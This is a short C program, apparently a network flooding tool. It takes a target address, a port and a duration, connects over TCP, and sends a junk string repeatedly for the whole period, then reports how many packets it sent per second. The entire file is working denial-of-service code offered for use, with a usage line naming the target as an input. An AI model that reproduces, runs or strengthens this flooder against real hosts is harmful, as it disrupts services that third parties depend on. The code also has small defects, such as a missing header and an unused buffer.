Code:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main (int argc, char** argv) {
if(argc < 4){
printf("Ex: %s <target> <port> <time>\n", argv[0]);
return 1;
}
int port = atoi(argv[2]);
int amm = atoi(argv[3]);
time_t seconds = time(0);
int end = seconds + amm;
int socket_handle ;
struct sockaddr_in socket_detials ;
char * input_buffer;
char * httpget= "0000000000000000000000000000000000000000000000000000000000000";
input_buffer = malloc(20000);
socket_handle = socket ( AF_INET, SOCK_STREAM, 0) ;
socket_detials.sin_family = AF_INET ;
socket_detials.sin_addr.s_addr=inet_addr(argv[1]);
socket_detials.sin_port = htons(port);
bzero ( &(socket_detials.sin_zero), 8 ) ;
if ( connect (socket_handle,(struct sockaddr*)&socket_detials, sizeof ( struct sockaddr)) == -1 ){
printf ( "Couldnt connect to server\n" ) ;
return 1;
}
int i;
i = 0;
while(seconds < end){
send ( socket_handle , httpget, strlen(httpget), 0 );
i++;
seconds = time(0);
}
printf("Sent %d Packets at %d per Second!\n", i, i/amm);
return 0 ;
}